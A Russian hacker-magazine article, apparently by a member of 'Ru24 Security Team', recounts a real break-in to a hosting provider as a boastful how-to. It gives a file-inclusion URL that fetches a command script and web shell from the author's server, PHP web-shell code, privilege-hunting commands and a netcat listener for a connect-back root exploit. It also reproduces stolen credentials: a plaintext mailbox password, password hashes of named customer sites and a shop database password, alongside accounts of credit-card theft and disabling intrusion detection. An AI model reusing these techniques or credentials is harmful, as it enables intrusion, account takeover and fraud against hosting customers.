Очень часто хакеры ломают сервера только одним излюбленным способом, это в
корне неправильно. Ведь, например, эксплоита на определенный сервис не окажется
и весь взлом провалится, или сканер бажных скриптов не выдаст результата, а быть
может nmap пошлет хакера подальше. А вдруг взломщик вообще испугается названия
системы и наделает в штаны? Взлом сервера очень сложная задача и не имея нужный
знаний ты его никогда не сломаешь. Сломают только тебя. Ты уже опускаешь руки?
Стоп! Существуют и другие методы, с помощью которых хакер добудет себе все, что
ему нужно. Я опишу их на примере реального взлома.

Пролог

Была обычная бессонная ночь, я пил свое кофе, жевал плитку шоколада, сонно
смотрел на результаты некоторых программ запущенных на удаленном nix шелле,
модем соблазняющее подмигивал, скачивая новую Оперу. Время от времени в ICQ
стучали разные люди, просившие помочь, было тихо, в наушниках играла спокойная
музыка. На багтраке не было публикаций об новых уязвимостях, поэтому мой мозг
молча изучал исходник моего любимого форума. Но, хотелось чего-то большего и
интересного, чем изучения криво написанного исходного кода. В это время я искал
хороший буржуйский хостинг для своих добрых дел. Ведь буржуйские хостинги очень
хорошо наделены вычислительными ресурсами, которые нужно использовать в своих
целях. Выбранный хост был одним из самых крутых. На главной странице админ
увлеченно рассказывал о супер защите своих серверов, о том что у них хостятся
крутейшие компании. Да, получить полные права на таком сервере будет очень
непросто. Хотя, это как посмотреть, ведь взломать можно все. Тем более я
встречал множество хостингов под Linux с ядром ветки 2.4.21, которое можно
порутать эксплоитами

mremap_pte.c
и

hatorihanzo.c
. Мне очень захотелось посмотреть, что же за крутые компании
хостятся на серверах хостинга. Нужно начинать, у меня всего два пути. Один из
вариантов — кардинг пользовательского аккаунта. Никакого демо-теста хостинг не
предоставлял, заказ попросили подтвердить голосом. Зачем заморачиваться с
прозвоном и ждать кучу времени? Я выбрал второй вариант – взлом любого сайта на
площадке хостинга.

Вторжение

Первым делом нужно позаботился о собственной анонимности. Я поставил на
похаканую машину в Бельгии https-прокси не ведущий логов. Пописал его у себя в
Opera и сразу же сделал полную проверку на анонимность. Теперь можно было
приступать к взлому. Как всегда очень помог сервис DomainsDB. Получив списочек
из сайтов я скормил его немного модифицированному крякеру Интернета от NSD.
Работа крякера заключалась в том, что он производил поиск на указанном списке
сайтов ссылки вида page=, file=, open=. Эта модификация говорит о том, что мы
будем искать все файлы, которые уязвимы через php-including. Я довольно быстро
получил положительный результат. Скрипт page.php на сайте doublehhplastics.com
был уязвим. Он подключал через переменную file любой файл независимо от
расширения. Это мне подсказала ошибка о невозможности открыть файл аааа,
значение которого я передал в ?file=aaaa. Фильтрации на спецсимволы также не
наблюдалось. Залив на свой сервер обычный php-скрипт, выполняющий команду system,
я модифицировал запрос к такому виду:

http://xxxx.com/page.php?file=http://ru24-team.net/files/cmd.txt&cmd=
cd%20img/;wget%20http://www.ru24-team.net/files/nr.txt
%20-o%20nr.php;%20ls%20-la|grep%20nr

Кстати, запросы подобного вида очень видны в access.log апача и иногда
привлекают умных IDS. В данном случае поступить было по-другому просто
невозможно. Если ты загрузишь такой шелл, например, через багу в загрузке файлов
и админ прочтет логи, то он быстро выгонит тебя с сервака. Но админы хостингов
логи не читают 🙂 В противном случае загружай шеллскрипт выполняющий запросы
через POST метод. Написать его очень легко:

if ((!$_POST[‘cmd’]) || ($_POST[‘cmd’]=="")) { $_POST[‘cmd’]="id;pwd;uname -a;ls
-la"; }
echo "".passthru($_POST[‘cmd’])."";

Тебе останется написать только html форму для скрипта. Вернемся к запросу. Так,
использовав php-include баг, я быстренько залил на сервер свой любимый
самодельный инструмент и принялся изучать систему.

Исследование системы

Итак, мои права имеют 80 uid и имя www. Для начала вполне хватит. Я открыл в
броузере свой вебшелл введя логин и пароль для авторизации. Я всегда запароливаю
вебшеллы, ведь он по сути является тем же бэкдором — крайне неохота чтобы кто-то
имел доступ к нему кроме самого себя. Симпатичная мордочка NRWS сразу же
приподняла мое настроение:) Команда uname- a показала, что система имеет
название FreeBSD 4.10 версии, т.е получить права root публичным ядерным
эксплоитом не получится. То есть, можно было попробовать, локально переполнив
буфер в каком-то демоне, но админ подменил их баннеры. Я точно знал, что на
сервере крутится ProFTPd неизвестной версии. Существует эксплоит и для
предпоследней версии этого демона, но для его запуска нужен анонимный доступ или
полноценный аккаунт к FTP, чего я пока не имел. Вебшелл в удобном виде вывел мне
таблицу демонов (аналогично ps –aux). На сервере, впрочем, как и на всех
нормальных хостингах присутствовали брандмауэр iptables и парочка IDS. Ничего
страшного, на самом деле эта система также уязвима. Система сложна, потому
многие администраторы не могут правильно ее настроить, а это нам уже на руку.

Команда netstat -an | grep -i listen предоставила мне список открытых портов
этой машины. Видишь, не понадобился даже nmap, тем более версии сервисов он бы
все равно не определил, а только привлек внимание IDS и админа. Были открыты
только 80, 21 и 22 порт. Видимо, коннект по протоколу SSH на 22 порт разрешался
только из определенных адресов, впрочем это и понятно, не один из юзеров
хостинга кроме рута не имел доступа к /bin/bash. Нужно поискать файлы наделенные
suid битом. Это реализуется командой find / -type f -perm -04000 -ls. К
сожалению админ на это раз ничего с суидным битом не чтоднул на 777 🙂 Файлы
bash_history и mysql_history были только у рута и доступа я к ним не имел.
Что-то мне подсказывало посмотреть, что именно открыто для записи. Выполнив
команду find / -perm -2 –ls я буквально захлебнулся от потока трафика, пришлось
нажать кнопочку стоп в обозревателе. Открытых для записи файлов и каталогов было
очень много, это заставило задуматься над тем, что админ возможно неправильно
расставил права на каталоги юзеров. После изучения информации я понял, что кроме
всего остального на серваке установлен какой-то web-mail. Зайдя в директорию /home/atmail/users
я очень удивился, что вообще меня в нее пустили. Каталог принадлежал юзеру vdeck
из группы wheel. И мало того,  также все подкаталоги имели права drwxrwxrwx
, что означало, что любой может делать с файлами в них все, что угодно. Помимо
этого я сразу же обнаружил огромную дыру в atmail. Она заключалась в том, что в
каталоге практически каждого пользователя находился файл login.db с логином и
НЕЗАШИФРОВАННЫМ паролем пользователя! login.db содержит следующие строчки:

db = (‘Password’ => ‘jbaqref’,
‘Account’ => ‘sales@hupernethost.com’, );

Я создал в SocksChain свежую цепочку Socks серверов и запустил The Bat. Вбив в
качестве хоста mail.hupernethost.com в качестве логина указал  sales@hupernethost.com
и пароль — jbaqref, я успешно авторизовался на pop3 сервере.

Взлом

Вдоволь начитавшись личной пересылки множества буржуев я оставил atmail в
покое. Нужно было закрепляться на сервере пока меня не попалили. Для начала я
пробрутил 21 порт на связку login:login эксплоитом, входившим в мой самописный
скрипт. Этот эксплоит берет все аккаунты из /etc/passwd, коннектится к FTP и
просто подставляет в качестве пароля логин. Можно было запустить и гидру от
thc.org, но мелкие умные
сценарии мне больше нравятся. К счастью с десяток буржуев установили пароль
равным логину. Прекрасно, теперь у меня есть полноценный FTP доступ. Я скормил
один из добытых аккаунов Total Commander’y и приконектился к FTP демону. Я попал
в какую-то убогую юзерскую директорию, поэтому вернулся дальше исследовать
систему через мой webshell. Я зашел в каталог /home/ . Честно говоря, я думал,
что меня пошлют подальше, но передо мной представились директории юзеров.
Странно, большинство хостингов закрывают для просмотра эту директорию. Скажу по
секрету, все равно директории пользователей мы можем узнать из файлов /etc/passwd
и httpd.conf вебсервера apache. Зачем нам директории пользователей? Дело в том,
что даже если нас не пустят в корень каталога юзера, у нас есть очень большие
шансы зайти в поддиректорию, где лежат www файлы и просмотреть их сорцы. Такая
дыра, например, была на серверах agava.ru и valuehost.ru – крупнейших российских
хостингах. Да что греха таить, я недавно заприметил такую же багу на очень
популярном российском хостинге, где хостятся очень много серьезных проектов
.
Но своих мы не ломаем 🙂

На этой машине даже такая хитрить не понадобилась, я спокойно зашел в одну из
них, во вторую, третью директорию… Вывод был прост, я теперь имею доступ не
только к электронной переписке пользователей, а и к приватным файлам и
директориям. Тогда пришло время запустить еще один инструмент. На сервере
присутствовал сервис FrontPage, известный во всем мире своею дырявостью. Поэтому
результат работы эксплоита не заставил себя ждать. Эксплоит для FrontPage
собирает читатебальные .htpasswd, .htaccess и service.pwd файлы по всему
серверу. Принцип его работы состоит в том, что он открывает файл /etc/passwd,
выдирает от туда каталоги пользователей, ищет в них указанные выше файлы и
достает из них все пароли. Его работа позволяет создать нехилую базу всех сайтов
в виде логин:пароль от хостера. Ведь пароли к FrontPage подходят к FTP и другим
сервисам сервера. Результатом работы эксплоита я был очень доволен. Было
получено больше сотни пассов зашифрованным DES алгоритмом. Добытый список
содержал логин, пароль, номер юзера, номер группы, домен, домашнюю директорию и
сведения о шелле :

baycityb:R1aytWnWO2v8w:3864:3864:baycitybikebash.com:/home/baycityb:/nonexistent
wholesa1:19IxcZYikCkuo:3871:3871:wholesalegrafix.com:/home/wholesa1:/nonexistent
whodrank:yPIg8scE1sZh6:3873:3873:whodrankmycoffee.com:/home/whodrank:/nonexistent
lamixtec:lHIlzvHztUf9.:3879:3879:lamixteca.net:/home/lamixtec:/nonexistent

Зная, что пароль для аккаунта юзер задает сам, а не использует мудрированные
пассы придуманные прогами, я был уверен в быстрой расшифровке аккаунтов по
словарю. Я быстро запустил John The Ripper для расшифровки полученных кешей.
Сервер тихо изучался дальше. Далее было принято решение изучить файлы и базу
данных хостинг-провайдера на предмет наличия интересных данных. Сказано –
сделано. Можно было использовать «MySQL Find Config Exploit», но я решил все
делать вручную. Поскольку это был не главный сервер сети, то MySQL базы хостинга
здесь, разумеется, не было. Выполнив команду find / -type f -name "config*" я
принялся просматривать доступные файлы конфигураций. Спустя пару минут я
обнаружил несколько конфигов электронной корзины «osCommerce».Проанализировав
переменным username и password я раздобыл аккаунт к MySQL. Просмотрев таблицы
orders и customers я обнаружил немножко кредитных карт. Пролистав другие конфиги,
был собран весомый списочек аккаунтов к БД. Одно меня не радовало, что у меня не
было рутового доступа к БД 🙁 Среди них был и конфиг к движку электронного
магазина swapshop торгующего через paypal.

$dbhost=’localhost’;
$bduser=’swapshop’;
$dbpass=’10131969′;

Чем дольше я анализировал содержимое сервера, тем больше я понимал, что админы
себя расхваливают совсем зря. Во-первых, внутренняя защищенность сервака очень
низкая. Во-вторых, действительно у них хостятся всякие магазины, которые
непонятно чем торгуют и ничего не продают 🙂 Мнение о хостинге испортилось
окончательно.

Итог

Итак, чего я уже добился в системе под гордым именем FreeBSD, защищенной
файерволом, антируткитами и сетевыми IDS. Это больше 20 FTP аккаунтов
login:login, зашифрованные DES пароли большинства юзеров данного хоста (больше
половины расшифровал), множество паролей к e-mail с этого хоста, немного
кредитных карт … Эти данные можно использовать в любых целях, например для
нагона трафика, протроянивания посетителей через баги в ИЕ, сбор
конфиденциальных данных на e-mail (пароли на платежные службы и т.д.). Да и
сервак мощный, можно и пофлудить и поспамить. Но я, как добропорядочный
гражданин, все добытые данные удалил 🙂

Возвращение

Но вдруг я вспомнил про FTP демон. Я достал один 0-day ProFTPd 1.2.7 —
1.2.9rc2 remote r00t exploit и натравил на него компилятор gcc. Если бы
компилятора не оказалось, как бывает на большинстве хостингов, попробую заюзать
cc, вдруг прокатит. А если есть возможность, то лучше собрать эксплоит на своем
шелле, что я и сделал. И услышал множество матов в свой адрес. Нужно править
сорцы эксплоита. «Я не первый, я не последний» вошло в мою голову. Да, и вправду
за пару минут поиска по гуглу я нашел рабочую версию. Но тут обозначилась еще
одна проблема — эксплоит заточен под Linux, поэтому нужно было изменять шеллкод
под FreeBSD. Исправив данные для FTP аккаунта на один из добытых аккаунтов я
запустил эксплоит. И уже через минуту я опустил свои права к нулю 🙂 Кстати,
эксплоит работает очень хитро обходя брандмауэры, делая connback и открывая
рутовый шелл. Так что перед тем как запустить эксплоит не забудь открыть еще
одно окно шелла и запусти NetCat командой ./nc -l -p 31337. В этом случае
рульная тулза откроет 31337 порт на твоем шелле и будет ждать подключений через
connback. Как я уже упоминал, на машине были установлены несколько IDS систем,
так что теперь нужно было действовать осторожно, чтобы установить руткит. Хм, я
же root, все IDS системы просто вырубились по команде kill -9 🙂

DreAmeRz (Ru24 Security Team,
http://www.Ru24-Team.NET
)

Оставить мнение

Check Also

Обвес macOS. Меняем скрытые настройки, ставим полезный софт и лезем под капот системы, перейдя на «мак»

Уверен, ты не раз слышал, что в Apple всё решают за пользователя и в macOS ничего нельзя т…